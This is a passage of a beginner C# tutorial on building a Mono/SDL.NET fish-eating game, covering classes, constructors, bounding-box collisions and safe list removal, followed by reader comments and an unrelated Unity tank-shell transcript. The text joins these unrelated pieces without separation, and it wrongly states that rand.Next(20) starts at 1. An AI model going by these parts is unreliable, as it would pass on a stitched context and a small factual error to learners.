background every tick and redraw the player's fish. So, that's problem one solved. The second problem is to have the player position updated by reading keyboard input. This is a cinch thanks to SDL - it has a special method called Keyboard.IsKeyPressed() that returns true if a specific key on the keyboard is pressed. To check a specific key, just type "Key." and you'll see a list of available keys to check against. For now, we just need to check whether the Up, Down, Left or Right arrow keys are being pressed, and, if they are, move the player in the appropriate direction. Put this code into Events_Tick() before all the Blit() calls: if (Keyboard.IsKeyPressed(Key.UpArrow)) { PlayerPos.Y -= 10; } else if (Keyboard.IsKeyPressed(Key.DownArrow)) { PlayerPos.Y += 10; } if (Keyboard.IsKeyPressed(Key.LeftArrow)) { PlayerPos.X -= 10; } else if (Keyboard.IsKeyPressed(Key.RightArrow)) { PlayerPos.X += 10; } += and -= are both shortcuts - the first one means "add the value on the right to the variable on the left", and the second one means "subtract the value on the right from the variable on the left." In essence, "foo = foo + 1" can written as "foo += 1" or just "foo++". I've chosen 10 for the fish's movement speed. We'll be looking at much smarter ways to do this sort of thing in later projects, but for now I want to keep it simple. At this point, we have a game screen that updates itself every frame, and a player fish that moves around the screen using the keyboard. Now it's time to get to the really interesting stuff: creating and moving other fish. To get our player on the screen, we need to know their fish type and their position. To get computer fish onto the screen, we need to tell Mono that we want to track a type and position for each of those fish, then store all those fish inside an array for easy drawing and updating. The best way to do all that is to create something called a class. This, like "method", is one of those geeky jargon words you just need to remember. Essentially, a class is something that holds its own variables and methods, and we can create as many instances of that class as we want. For example, right now you're using "Surface" from SDL - that's actually a class. When you say "Surface foo = new Surface("myfile.jpg")", Mono creates an instance of that class (known as an "object") and puts it in the variable "foo". If you create other surfaces, they won't affect the variables that belong to "foo". The neat thing about these classes is that they look and work just like other data types we've been using - "int", "string", "Point", "Surface", etc, so by using them you're basically creating your own custom type of data. To create a new class, right-click on FishFeast in the Solution pane (not the one that says "Solution FishFeast (1 entry)" - the one below that) and choose Add > New File. Adding a new class is done by right-clicking on the project, not the solution! Choose Empty Class from the list that appears, name it "Fish" and click New to create the class. MonoDevelop will put some simple skeleton code into a new file called Fish.cs, but leave it alone for now. With that class in place, "Fish" is now a variable type just like "int" or "string". To prove that, we're going to create a list array that will store all the computer fish that are in our game. We also need to store the time the last computer fish was created, because we'll be using that to track when more fish should be added. Put these lines of code beneath "static Point PlayerPos" in Main.cs, like this: static Point PlayerPos = new Point(256, 512); static List<Fish> AIFish = new List<Fish>(); static int LastFishCreation = 0; As you can see, Mono knows that "Fish" refers to our new class, which means we can go ahead and give some variables to the class and start creating instances of it. Change to Fish.cs, then make the file look like this: using System; using System.Drawing; namespace FishFeast { public class Fish { public int Type; public Point Pos; public Fish(int type, Point pos) { Type = type; Pos = pos; } } } Notice that we're pulling in System.Drawing again so that we can use Points. We also create two variables to hold the fish type and position, but there's an interesting little twist here. Did you notice that MonoDevelop's skeleton code included a method called "Fish()"? Yes, that's the same name as the class itself, which might be a bit confusing - but it's also a bit special. You see, when you create an instance of a class - ie, you tell Mono you want to create a some fish in your game using the Fish class - Mono can automatically run a method for you to set up any initial data you want. This method is known as a "constructor", because it's where you get to do any tasks required to make this object ready to go. You can always spot the constructor method of a class because it has the same name as the class itself. In my code above, you'll notice I've modified the Fish() constructor method so that it takes two parameters: "int type" and "Point pos". This means that if someone tries to create a fish object, they must provide those two pieces of data, otherwise Mono will complain. The reason I'm forcing people to provide a type and position for each fish they create is simply because a fish without a type or position is useless and shouldn't exist! Using this system, people must tell Mono what type the fish should be and where it should be on the screen, and Mono stores those two variables in the object itself for later reference. You've probably noticed that I'm taking advantage of Mono's case sensitivity here, eg "Type = type" works because "Type" is one variable and "type" is another. This is fairly common - another technique is to use underscores to differentiate different versions of a variable. Do what works best for you. Now that the Fish class is ready for action, we need to do three more things: Let's tackle them in order - create a new method in Main.cs called CreateFish(), and make it look like this: static void CreateFish() { // we need to generate some random values, so this is required! Random rand = new Random(); // we're always going to create small fish right now int fishtype = 0; // generate a random position on the screen int fishx = rand.Next(1024); int fishy = rand.Next(700); // create a new fish, giving it the random position we just generated Fish newfish = new Fish(fishtype, new Point(fishx, fishy)); // add it to the list of fish AIFish.Add(newfish); // update the timer so we wait until creating more fish LastFishCreation = Timer.TicksElapsed; } I've scattered comments through that so you should be able to see how it works. Notice that creating an object of the Fish class is done simply by asking Mono to create a new Fish - easy, huh? The only really new thing in there is Timer.TicksElapsed, which is a value that SDL provides to us that stores the amount of time (in milliseconds) since your game was started. The second thing we need to do is loop over all the fish in AIFish, drawing them to the screen at their current positions. Remember, each time we create an instance of a class, it has its own copy of the class's variables, so we can just reference Type and Pos directly in each Fish object to see where and how it should be drawn. Put this in Events_Tick(), just before the call to sfcMain.Update(): foreach (Fish computerfish in AIFish) { sfcMain.Blit(sfcFish[computerfish.Type], computerfish.Pos); } That loop draws each fish at its own position, which should make them appear all over the screen. The final change is to have the game call CreateFish() every second so that there are always new fish coming along. This can be done by comparing the value of LastFishCreation against the current system time - if we add 1000 milliseconds to LastFishCreation and it's less than the system time, we know at least a second has passed so we should create a fish. Put this code in Events_Tick(), just before the first Keyboard.IsKeyPressed() line: if (LastFishCreation + 1000 < Timer.TicksElapsed) { CreateFish(); } Remember: the last line of CreateFish() automatically updates LastFishCreation to be the current time, which means the above code will call CreateFish() once a second. Press F5 to build and run your code, and all being well you should now see AI fish popping up on the screen once every second or so. They aren't moving yet, so there's still more to do! In the real Feeding Frenzy game, fish come from both sides of the screen so that players need to keep moving all the time. In this simplified version of the game, our fish are only going to come from the right, which means they are always moving left. This isn't hard to do, but it does make the game a little dull if all the fish are moving at the same speed! So, go into Fish.cs and add this line directly beneath "public Point Pos;": public int Speed; Back in Main.cs, we need to amend the CreateFish() method so that fish are always created off the right side of the screen and also have their new Speed variable set to something a little bit random. Change your CreateFish() method to this: static void CreateFish() { Random rand = new Random(); int fishtype = 0; int fishx = 1024; int fishy = rand.Next(700); Fish newfish = new Fish(fishtype, new Point(fishx, fishy)); // now set the speed to 5, with a little bit of randomness! newfish.Speed = 5 + rand.Next(-3, 3); AIFish.Add(newfish); LastFishCreation = Timer.TicksElapsed; } That rand.Next() call will return a number between -3 (inclusive) and +3 (exclusive), meaning that the fish speed will vary between 2 and 7. Finally, we just need to update the Events_Tick() method so that the fish are moved before being drawn - change the foreach loop to this: foreach (Fish computerfish in AIFish) { computerfish.Pos.X -= computerfish.Speed; sfcMain.Blit(sfcFish[computerfish.Type], computerfish.Pos); } And now run your game again: the fish should be created off the right edge of the screen, and will move smoothly towards the left at different speeds. The game so far: one type of fish is created in random positions on the screen. What we have now is - almost - a working game. Everything moves correctly, but it's missing the crucial thing: challenge. That is, there's no way to win or lose right now, which means there's no fun! That's easily fixed, though: we need to check every enemy fish to see whether they overlap the player or not. And, if they do, they either get eaten by the player (if they are a lesser fish type), eat the player (if they are a greater fish type) or do nothing (if they are the same fish type. The fastest way to perform collision detection is using something bounding boxes, which basically means we draw an invisible box around each fish and check whether that overlaps the player's invisible box. Checking whether two bounding boxes overlap is ludicrously fast in Mono, both to code and perform during game play, which makes it perfect for checking for collisions. Of course, the downside is that our fish aren't exactly square-shaped, which means sometimes a collision will happen even though technically one fish didn't touch another fish. We'll be solving that problem in a later project by using something called per-pixel collision detection, but for now bounding box collision is just fine. That task can be broken up into three smaller tasks: Let's start with the first problem: we need to create a rectangle that contains the player's X and Y position, plus the width and height of their current fish surface. The C# code for this is actually almost identical to what I just said - put this just before the AIFish foreach loop in Events_Tick(): // this long line has been broken in two Rectangle player_rect = new Rectangle(PlayerPos.X, PlayerPos.Y, sfcFish[PlayerFish].Width, sfcFish[PlayerFish].Height); That creates a "player_rect" variable containing a bounding box for the player. We create it here, before the foreach loop, because it doesn't change inside the loop so there's no point recreating it. With that done, you should be able to figure out how to create a bounding box for each of the enemy fish. Pretty much the same code is used, except this time it needs to go inside the AIFish foreach loop and use the enemy fish's position and size. Change the foreach loop to this: foreach (Fish computerfish in AIFish) { computerfish.Pos.X -= computerfish.Speed; // this bit is new - split into three lines for easy reading Rectangle enemy_rect = new Rectangle(computerfish.Pos.X, computerfish.Pos.Y, sfcFish[computerfish.Type].Width, sfcFish[computerfish.Type].Height); // marker - ignore for now! sfcMain.Blit(sfcFish[computerfish.Type], computerfish.Pos); } The important new line in that code - well, three lines, because I've had to split it up to fit on the screen neatly - is the one that creates a rectangle from each fish's position on the screen. Finally, we need to compare the player's rectangle with each fish's rectangle to see if there's any collision. This is actually really easy, because Mono already has functionality in place for checking whether one rectangle intersects (overlaps) another - all you have to do is use the IntersectsWith() method on a rectangle, passing in another rectangle as a parameter, and Mono will return true if they overlap each other. Put this code where the "// marker - ignore for now" text is: if (enemy_rect.IntersectsWith(player_rect)) { if (computerfish.Type < PlayerFish) { // eat! } else if (computerfish.Type > PlayerFish) { // die! } } That shows off the new call to IntersectsWith() to perform collision detection between two rectangles, and you'll notice I've also slipped in another conditional statement inside that checks whether the player should eat the fish or be eaten by it. Remember, our fish types are ordered by size, so if the enemy fish type is a lower number than the player's, it gets eaten; if it's a higher number, it eats the player; if it's neither of them, then nothing happens. And now, for the tricky part: in that space marked "// eat!", we need to destroy the enemy fish because it has been eaten by the player. This is, by itself, not hard to do, but will cause a problem - try it and see: AIFish.Remove(computerfish); Put that where the "// eat!" line is and run the game. Now try eating a fish. What happens? Why do you think it happens? This is a common problem, and something you'll encounter a lot. Just for the benefit of people skim-reading this, let me repeat what I just said. This is a common problem, and something you'll encounter a lot. So, how do you fix it? Well, first you need to know why it happens. Put simply, when you loop over an array in any way, you can't change the array if it affects what comes later. Think about this loop: for (int i = 0; i < somearray.Count; i++) { // process each item here somehow } At 0 you do nothing. At 1 you do nothing. But at 2 you remove item 2. When you remove item 2, item 3 and everything afterwards move down one place to fill the gap, so item 3 becomes the new item 2, item 4 becomes the new item 3, etc. But this leaves some uncertainy: should Mono ignore the i++ so you can work on item 2 again, seeing as it's actually the old item 3 and hasn't be processed yet? Or should it carry on, leaving one item untouched? This is a nasty place to be, so the solution is simple: if you must remove items from an array while counting over the array, count over it backwards. That way, when all the other items move down one place, it doesn't matter because you've already processed them. To do this, we just need to use a for loop that counts downwards rather than upwards, like this: for (int i = somearray.Count - 1; i >= 0; i--) { // process each item here somehow } Note how "somearray.Count - 1" is used for the starting number, we count down until i is greater or equal to 0 - both of these are there because of Mono's practice of counting arrays from 0. Now you know the safe way to remove items from an array, we have to rewrite the AIFish loop so that it works correctly. Change this line to: foreach (Fish computerfish in AIFish) { ...to this: for (int i = AIFish.Count - 1; i >= 0; --i) { Fish computerfish = AIFish[i]; So, that counts backwards through the entire list, each time assigning the current item to the "computerfish" variable for the rest of the code to use. If you run your game now, you should be able to go up to the other fish and have them disappear when you touch them. There is one other small change we're going to make here before moving on, and that's to change this line: AIFish.Remove(computerfish); ...to this one: AIFish.RemoveAt(i); The original line searched through the AIFish list to remove a specific item, whereas the second takes advantage of the fact that we already know where the item is (because we're counting the position in "i"), so we can remove the item at a specific position rather than searching for it. It makes no difference here because the program is so simple, but it's good practice to write the best code you can because it makes a difference in larger programs! A common hack used with bounding box collision detection is to pull the box in by a few pixels on all sides to make it a bit less noticeable. We need to make it possible for the player to die when they go too near other fish that are bigger than they are. That means we need to show a message on the screen along the lines of "you died!", which in turn means we need to hide the Fish Feast logo as soon as the game starts. It also means we need to actually create some of the larger fish types, because right now the fish are always the same size as us! Let's put that into the most sensible order: Starting at the top, go into your CreateFish() method and put this code directly beneath "int fishtype = 0;": switch (rand.Next(20)) { case 14: case 15: case 16: fishtype = 1; break; case 17: case 18: fishtype = 2; break; case 19: fishtype = 3; break; } You should be able to figure out what nearly all that does, with the exception of the empty "case" statements. Previously every case statement had its own code to execute and ended with a "break" statement, but this time we have several case statements all together and without any "break"s. What happens here is that Mono "falls through" to the next case statement. For example, if rand.Next() returns 14, Mono will look for "case 14:" and find it, but it contains no code so Mono will fall through to the next case, case 15. That in turn has no code, so Mono will fall through to the next case statement, which is case 16 and does have some code, so Mono will execute it. In essence, cases 14-16 will all execute the same code. rand.Next(20) will return a value between 1 and 19 inclusive, but we only deal with cases 14 to 19 - the rest will use fishtype's default value of 0, which is where our small-fish bias comes from. Onto the second problem: we need a variable to track whether the game has started or not. In a later project I'll be showing you a smarter way to track game state, but for now a simple bool variable (they store only true or false, remember) is just fine. Put this just beneath "static Surface sfcLogo;" near the top of your Main.cs file: static bool GameStarted; That will default to "false", so what we need to do is modify Events_Tick() so that it checks whether the variable is set to true or and decides what to update and draw based on that. What you want to do is go into Events_Tick() and find these two lines: sfcMain.Blit(sfcBackground); sfcMain.Blit(sfcLogo, new Point(254, 236)); Select them and copy to them to your clipboard by pressing Ctrl+C. Now delete the second of them, leaving just sfcMain.Blit(sfcBackground). Go up to the top of the method and, before the "if (LastCreationTime ...)" line, put this: if (GameStarted) { Scroll down to the end of the method and put this just before sfcMain.Update(): } else { sfcMain.Blit(sfcBackground); sfcMain.Blit(sfcLogo, new Point(254, 236)); } You should have those middle two code lines in your clipboard, so just press Ctrl+V to paste them into MonoDevelop. So, now this method reads "if GameStarted is true, go ahead and do all the normal stuff we've been doing so far. If not, just draw the background and logo." If you run the game now, GameStarted will of course be false so you won't see much. That's easily solved, but we can't do it using the Keyboard.IsKeyPressed() method we've been using so far because that check will be run every time the game updates, so if the player holds down the spacebar for a mere tenth of a second it will run our game starting code about six times! An easier solution is to tell SDL we want to be informed when a key has been pressed. Go up to your Main() method to where you have "Events.Quit +=" and other lines like it, and add this somewhere before Events.Run(): Events.KeyboardUp += new EventHandler<KeyboardEventArgs>(Events_KeyboardUp); Now add this new method to check what key was pressed and, if it was spacebar and the game hasn't already been started, start the game: static void Events_KeyboardUp(object sender, KeyboardEventArgs e) { if (e.Key == Key.Space) { if (!GameStarted) { GameStarted = true; } else { // game already started! } } } Previously you've seen that "==" means "is equal to" and "!=" means "is not equal to". Well, now you can see plain old "!" by itself, which means just "not". For example, if GameStarted is set to be true, "if (GameStarted)" would evaluate as true. But if you throw a ! in there, it makes the opposite value, so "if (!GameStarted)" would evaluate as being true only if GameStarted were false. In the code above, we set GameStarted to be true only if it is current false; it doesn't really make much difference here, but in a real game you'd probably call some sort of StartGame() method rather than just a set a single variable! The final change that needs to be made is to make another bool variable to track whether the player is alive or not, then to update Events_Tick() so that the player is only moved, drawn and collided with when they are alive. But I think that's something best left for homework... The finished product: all sorts of fish fly out, and you can eat them by colliding with them. At the end of the fourth project, you've now been introduced to classes and objects, constructor methods, events and of course everything that SDL brings with it. All the non-SDL learning here is really valuable stuff that you'll find yourself using in all your programming projects - you should particularly focus on being comfortable creating a new class for your own work. And as for SDL, it's something we'll be revisiting many times in future projects, so take the time to make sure it works properly! Flicker Problems steve (not verified) - March 22, 2009 @ 11:08pm Great set of tutorials BTW. On this one though I am having some problems with flickering fish. I know this is slightly beyond the scope of the tutorial but any hints for improving the situation? I've looked at the library documentation and while there are several performance tips on there I can't seem to make any difference. I have tried speeding up and slowing down the frame rate, and converting all pixel depths to the same value but haven't made much progress. I'm using an Asus EEE 901 - I imagine the GPU isn't that powerful - but surely should be able to render a few moving fish! Or perhaps not. Is anyone else experiencing similar problems? Very very nice,thanks for Anonymous Penguin (not verified) - March 23, 2009 @ 11:01am Very very nice,thanks for this article,good job. Thanks Scriptiz (not verified) - June 13, 2009 @ 10:14am Nice one for beginners, Hope others will come with a more Object Oriented aspect. Good job. @ steve Are you using Software or Hardware rendering? Try to switch between them and see what's going. So long... and thanks for Anonymous Penguin (not verified) - November 8, 2009 @ 2:04pm So long... and thanks for all the fish! Distributing Tao and SDL.Net without licence files. Anonymous Penguin (not verified) - February 6, 2010 @ 10:33pm Tao is under the MIT licence and SDL.Net is under the LGPL. Both should be supplied with their respective licences. FishFeast.mds Anonymous Penguin (not verified) - February 7, 2010 @ 10:22pm Hi Excellent tutorial. I can't find the file FishFeast.mds and there are two folders with the name FishFeast under Projects. Iḿ not sure witch one a should put the dll:s in? Best regards Pelle PS. I installed the CD on a new computer just to be sure itś clean... Couple of problems with Homework liberty (not verified) - February 18, 2010 @ 7:55am on the third item of homework I can display the Ooops but I can't think of how to stop the game. It just displays the Oops while the two fish 'touch' each other and then continues on merrily. The other is a little more serious is that I get ArgumentOutOfRangeException's. It start to occur after I did the first peice of homework. Basically, it's got to do with the for loop that you go backwards through... I suspect that the hack to add a new Surface for the Left facing fish is causing it. Does anyone else have the same problem? It's not a biggy. well, it is really but I will move onto the next lesson anyway. here's the third fix All for fun.. (not verified) - April 3, 2010 @ 8:04pm just set GameStarted to false. I used the timer to wait 5 seconds (or whatever that is) to allow the player to restart. I call clear screen, remove all fish from the array, and draw the original screen. else if (computerfish.Type > PlayerFish) { sfcMain.Blit(sfcOops, new Point(256, 512)); sfcMain.Update(); Video.WindowCaption = "Your final score is: " + score.ToString(); GameStarted = false; Timer.DelayTicks(1500); //Environment.Exit(1); } Out of memory? liberty (not verified) - September 5, 2010 @ 3:56am I've got a different sort of question... Is there any risk of a running out of memory? What I mean is can a Fish object be located off sfcMain (e.g. where the X position is -100 for instance)? Do they somehow get destroyed or do they continue to exist. Would it not be a good idea to remove the Fish objects if the X pos is off the sfcMain (e.g.computerfish.Pos.X < -200 || computerfish.Pos.X > 1300) Cant get past black draw screen anonymous (not verified) - April 11, 2013 @ 8:57pm Been doing the other tuts and I love them! However, I'm stuck at the main black screen. I finally fixed the linking to the mdeia/ folder, and got the output path to create the .exe in the FishFeast/FishFeast folder. I don't get an error, but the screen still shows black. I'm running Monodevelop 3.0.3.2 and have downloaded and applied all of the libs mentioned at the start of the tut..
http://www.tuxradar.com/content/hudzilla-coding-academy-project-four
CC-MAIN-2016-26
refinedweb
7,969
70.94
i tried writing a guess the number game using functions but i ran into some problems Code:8 C:\Documents and Settings\wmorrish\Desktop\New Folder\main.cpp ` guesscount' undeclared (first use this function)would i have to redeclare guess and guesscount inside the function? or is there any other way around this?would i have to redeclare guess and guesscount inside the function? or is there any other way around this?Code:10 C:\Documents and Settings\wmorrish\Desktop\New Folder\main.cpp ` guess' undeclared (first use this function) here is my code so far Code:#include <ctime> #include <cstdio> using namespace std; inline void guessagain() { cout<<"Guesses Left"<<guesscount<<endl; cout<<"Guess:"<<endl; cin >> guess; guesscount = guesscount -1; } int main() { srand((unsigned)time(0)) int number = rand()%10; int guess; int guesscount; cout<<"The Computer Has Thought Of A Number Try And Guess It"<<endl; cout<<"you have 10 guesses."<<endl; cout<<"Guess : "; cin >> guess; guesscount = guesscount - 1; if(guess == number) { cout<<"Well Done!! You Guessed The Random Number "<<number<<" With "<<guesscount<<" Tries Left"<<endl; } else if(guess > number) { cout<<"To High, Try A Lower Number."<<endl; guessagain(); } else if(guess < number) { cout<<"To Low, Try A Higher Number"<<endl; guessagain(); } return 0; }
http://cboard.cprogramming.com/cplusplus-programming/58161-guessing-number-game-problem.html
CC-MAIN-2014-52
refinedweb
205
63.29
10 Scala Programming Pitfalls Scala is great for highly scalable, component-based applications that support concurrency and distribution. It leverages aspects of object-oriented and functional programming. This JVM-based language gained most of its clout when it was announced that Twitter was using it. If used correctly, Scala can greatly reduce the code needed for applications. For the Scala programmmer, DZone has gathered these common code-writing pitfalls. These tips come from Daniel Sobral, a Scala enthusiast who has managed Java software development projects and participated in the FreeBSD project. 1. Syntactic Mistake Thinking of "yield" as something like "return". People will try: for(i <- 0 to 10) { if (i % 2 == 0) yield i else yield -i } Where the correct expression is: for(i <- 0 to 10) yield { if (i % 2 == 0) i else -i } 2. Misusage and Syntactic Mistake Using scala.xml.XML.loadXXX for everything. This parser will try to access external DTDs, strip comments, and similar things. There is an alternative parser in scala.xml.parsing.ConstructingParser.fromXXX. Also, forgetting spaces around the equal sign when handling XML. This: val xml=<root/> really means: val xml.$equal$less(root).$slash$greater This happens because operators are fairly arbitrary, and Scala uses the fact that alphanumeric character must be separated from non-alphanumeric characters by an underscore in a valid identifier to be able to accept expressions such as "x+y" without assuming this is a single identifier. Note that "x_+" is a valid identifier, though. So, the way to write that assignment is: val xml = <root/> 3. Misusage Mistake Using the trait Application for anything but the most trivial use. The problem with: object MyScalaApp extends Application { // ... body ... } is that body executes inside a singleton object initialization. First, the execution of singletons initialization is synchronized, so your whole program can't interact with other threads. Second, JIT won't optimize it, thus making your program slower than necessary. By the way, no interaction with other threads means you can forget about testing GUI or Actors with Application. 4. Misusage Mistake Trying to pattern match a regex against a string assuming the regex is not bounded: val r = """(\d+)""".r val s = "--> 5 <---" s match { case r(n) => println("This won't match") case _ => println("This will") } The problem here is that, when pattern matching, Scala's Regex acts as if it were bounded begin and end with "^" and "$". The way to get that working is: val r = """(\d+)""".r val s = "--> 5 <---" r findFirstIn s match { case Some(n) => println("Matches 5 to "+n) case _ => println("Won't match") } Or just making sure the pattern will match any prefix and suffix: val r = """.*(\d+).*""".r val s = "--> 5 <---" s match { case r(n) => println("This will match the first group of r, "+n+", to 5") case _ => println("Won't match") } 5. Misusage Mistake Thinking of var and val as fields. Scala enforces the Uniform Access Principle, by making it impossible to refer to a field directly. All accesses to any field are made through getters and setters. What val and var actually do is define a field, a getter for that field, and, for var, a setter for that field. Java programmers will often think of var and val definitions as fields, and get surprised when they discover that they share the same namespace as their methods, so they can't reuse their names. What share the same namespace is the automatically defined getter and setter, not the field. Many times they then try to find a way to get to the field, so that they can get around that limitation -- but there's no way, or the uniform access principle would be violated. Another consequence of it is that, when subclassing, a val can override a def. The other way around is not possible, because a val adds the guarantee of immutability, and def doesn't. There's no guideline on what to call private getters and setters when you need to override it for some reason. Scala compiler and library code often use nicknames and abbreviation for private values, as opposed to fullyCamelNamingConventions for public getters and setters. Other suggestions include renaming, singletons inside an instance, or even subclassing. Examples of these suggestions: Renaming class User(val name: String, initialPassword: String) { private lazy var encryptedPassword = encrypt(initialPassword, salt) private lazy var salt = scala.util.Random.nextInt private def encrypt(plainText: String, salt: Int): String = { ... } private def decrypt(encryptedText: String, salt: Int): String = { ... } def password = decrypt(encryptedPassword, salt) def password_=(newPassword: String) = encrypt(newPassword, salt) } Singleton class User(initialName: String, initialPassword: String) { private object fields { var name: String = initialName; var password: String = initialPassword; } def name = fields.name def name_=(newName: String) = fields.name = newName def password = fields.password def password_=(newPassword: String) = fields.password = newPassword } alternatively, with a case class, which will automatically define methods for equality, hashCode, etc, which can then be reused: class User(name0: String, password0: String) { private case class Fields(var name: String, var password0: String) private object fields extends Fields(name0, password0) def name = fields.name def name_=(newName: String) = fields.name = newName def password = fields.password def password_=(newPassword: String) = fields.password = newPassword } Subclassing case class Customer(name: String) class ValidatingCustomer(name0: String) extends Customer(name0) { require(name0.length < 5) def name_=(newName : String) = if (newName.length < 5) error("too short") else super.name_=(newName) } val cust = new ValidatingCustomer("xyz123") 6. Misusage Mistake Forgetting about type erasure. When you declare a class C[A], a trait T[A] or a function or method m[A], A is not present at run-time. That means, for instance that any type parameter will be actually compiled as AnyRef, even though the compiler ensures, compile time, that the types are respected. It also means that you can't use type parameter A at compile time. For instance, this won't work: def checkList[A](l: List[A]) = l match { case _ : List[Int] => println("List of Ints") case _ : List[String] => println("List of Strings") case _ => println("Something else") } At run-time, the List being passed doesn't have a type parameter. Also, List[Int] and List[String] will both become List[_], so only the first case will ever be called. You can get around this, to some extent, by using the experimental feature Manifest, like this: def checkList[A](l: List[A])(implicit m: scala.reflect.Manifest[A]) = m.toString match { case "int" => println("List of Ints") case "java.lang.String" => println("List of Strings") case _ => println("Something else") } 7. Design Mistake Careless use of implicits. Implicits can be very powerful, but care must be taken not to use implicit parameters of common types or implicit conversions between common types. For example, making an implicit such as: implicit def string2Int(s: String): Int = s.toInt is a very bad idea because someone might use a string in place of an Int by mistake. In cases where there's use for that, it's simply better to use a class: case class Age(n: Int) implicit def string2Age(s: String) = Age(s.toInt) implicit def int2Age(n: Int) = new Age(n) implicit def age2Int(a: Age) = a.n This will let you freely combine Age with String or Int, but never String with Int. Likewise, when using implicit parameters, never do something like: case class Person(name: String)(implicit age: Int) Not only this will make it easier to have conflicts of implicit parameters, but it might result in an implicit age being passed unnoticed to something expecting an implicit Int of something else. Again, the solution is to use specific classes. Another problematic implicit usage is being operator-happy with them. You might think "~" is the perfect operator for string matching, but others may use it for things like matrix equivalence, parser concatenation, etc. So, if you are going to provide them, make sure it's easy to isolate the scope of their usage. 8. Design Mistake Badly designing equality methods. Specifically: Trying to change "==" instead of "equals" (which gives you "!=" for free). Defining it as def equals(other: MyClass): Boolean instead of override def equals(other: Any): Boolean Forgetting to override hashCode as well, to ensure that if a == b then a.hashCode == b.hashCode (the reverse proposition need not be valid). Not making it commutative: if a == b then b == a. Particularly think of subclassing -- does the superclass knows how to compare against a subclass it doesn't even know exists? Look up canEquals if needed. Not making it transitive: if a == b and b == c then a == c. 9. Usage Mistake On Unix/Linux/*BSD, naming your host (as returned by hostname) something and not declaring it on your hosts file. Particularly, the following command won't work: ping `hostname` In such cases, neither fsc nor scala will work, though scalac will. That's because fsc stays running in background an listening to connections through a TCP socket, to speed up compilation, and scala uses that to speed up script execution. 10. Style Mistake Using while. It has its usages, but, most of the time, a solution with for-comprehension is better. Speaking of for-comprehensions, using them to generate indices is a bad idea too. Instead of: def matchingChars(string: String, characters: String) = { var m = "" for(i <- 0 until string.length) if ((characters contains string(i)) && !(m contains string(i))) m += string(i) m } Use: def matchingChars(string: String, characters: String) = { var m = "" for(c <- string) if ((characters contains c) && !(m contains c)) m += c m } If one needs to return an index, the pattern below can be used instead of iterating over indices. It might be better applied over a projection (Scala 2.7) or view (Scala 2.8), if performance is of concern. def indicesOf(s: String, c: Char) = for { (sc, index) <- s.zipWithIndex if c == sc } yield index Alex Miller replied on Fri, 2010/01/22 - 12:43pm Christian Harms replied on Sat, 2010/01/23 - 4:11am Cej Hah replied on Sun, 2010/01/24 - 4:26pm in response to: Christian Harms Because no one wants to debug this line of utter garbage? Consider writting code like writting english. If you can't spell it out plainly, you shouldn't be doing it. Geoffrey Bays replied on Fri, 2010/05/14 - 4:13pm
http://java.dzone.com/articles/watch-out-these-scala
CC-MAIN-2013-48
refinedweb
1,726
64.41
- Tutorials - Tanks tutorial - Firing Shells Firing Shells Checked with version: 5.2 - Difficulty: Intermediate Phase 6 teaches you how to fire projectiles, and make a UI & Sound fx to accompany the mechanic. Firing Shells Intermediate Tanks tutorial Transcripts - 00:07 - 00:10 Okay, so in this phase we're going to add a particular - 00:11 - 00:13 point at which we want these shells to be created. - 00:13 - 00:15 We call that a fire transform - 00:15 - 00:17 and we call it that because it's just an empty - 00:17 - 00:19 game object that just has a transform component on it - 00:19 - 00:23 and we put that in front of the barrel of the gun. - 00:23 - 00:25 Then we're going to use UI, we're going to use - 00:25 - 00:27 the slider yet again, we're going to sort of - 00:27 - 00:29 re-appropriate it to create this effect, - 00:29 - 00:32 we're going to put a canvas in front of our tank - 00:32 - 00:34 and we're going to use a slider as a thing that - 00:34 - 00:36 defines this arrow that shows you how much - 00:36 - 00:37 force you're putting in to a shot. - 00:38 - 00:40 And it's going to vary, so depending on how long - 00:40 - 00:42 you hold down the shot it's going to - 00:42 - 00:44 fire over different distances. - 00:48 - 00:50 First thing is to select our tank. - 00:51 - 00:53 And as we stated before there's a number of different - 00:53 - 00:55 ways to do anything in Unity. - 00:55 - 00:58 Making a new object is yet another one of those. - 00:58 - 01:00 So you can click on the Create - 01:00 - 01:02 menu on the hierarchy, you can click the - 01:02 - 01:04 Game Object menu, but if you want to do - 01:04 - 01:07 things directly and parent them at the same time - 01:07 - 01:10 you can right click on existing game objects. - 01:10 - 01:12 So I want to create a child object of - 01:12 - 01:15 a tank so I right click on my tank - 01:15 - 01:18 and I go to Create Empty. - 01:20 - 01:22 That places a new empty game object - 01:22 - 01:24 on to my tank, I'm just going to - 01:24 - 01:26 rename this FireTransform. - 01:29 - 01:31 And then I'm going to give you a position and rotation - 01:31 - 01:35 to put it exactly in front of the gun barrel - 01:35 - 01:37 and then rotate it the right way. - 01:37 - 01:43 So the position for this is (0, 1.7, 1.35) - 01:44 - 01:48 and then the rotation is (350, 0, 0). - 01:50 - 01:52 Yet again it's easier to see on the slides - 01:52 - 01:54 so I'm just going to switch there. - 01:54 - 01:58 So position (0, 1,7, 1.35). - 01:58 - 02:02 Rotation (350, 0, 0). - 02:02 - 02:06 So just to unobstruct that a little bit. - 02:06 - 02:08 The position of the FireTransform, we don't want it to be - 02:08 - 02:11 left or right so the exposition is of course going to be 0. - 02:11 - 02:13 Because the barrel is in the middle of the tank. - 02:14 - 02:16 We want it to be up a little bit, so that's why it's - 02:16 - 02:18 1.7 up in the Y axis. - 02:18 - 02:20 And we want it to be in front of the tank, not at the - 02:20 - 02:22 back or anywhere else so that's why it's a little bit - 02:22 - 02:24 forward in the Z axis. - 02:24 - 02:26 So if you've done it right it should look something like this. - 02:27 - 02:29 Just in front of it at roughly the same angle - 02:29 - 02:31 as the artwork implies. - 02:32 - 02:34 And just forward so we're not creating - 02:34 - 02:36 the shell so that it's going to - 02:36 - 02:39 intersect the collider and detonate straight away. - 02:39 - 02:41 That would be bad. - 02:44 - 02:46 As I said this requires a little bit of - 02:46 - 02:48 UI work in order to get the arrow - 02:48 - 02:50 to show the player how much they're - 02:50 - 02:52 firing their shell by. - 02:52 - 02:55 So we're going to right click on our canvas now. - 02:56 - 02:58 So if you reselect the canvas that we've got on the tank, - 03:00 - 03:04 and then right click, we're going to create a UI slider. - 03:05 - 03:07 So right click on the existing canvas, we don't want to make - 03:07 - 03:09 a new canvas, we can use the same one that we've got. - 03:10 - 03:12 Create a UI Slider. - 03:15 - 03:17 And we can rename this straight away - 03:17 - 03:19 to AimSlider. - 03:21 - 03:23 So I'm just going to zoom out and show you what this looks like. - 03:23 - 03:25 Yet again it's our old friend the slider. - 03:26 - 03:28 Not aware of what we want to do with it at all. - 03:28 - 03:32 We're going to, basically make this a small - 03:32 - 03:34 strip that's going to exist in front of 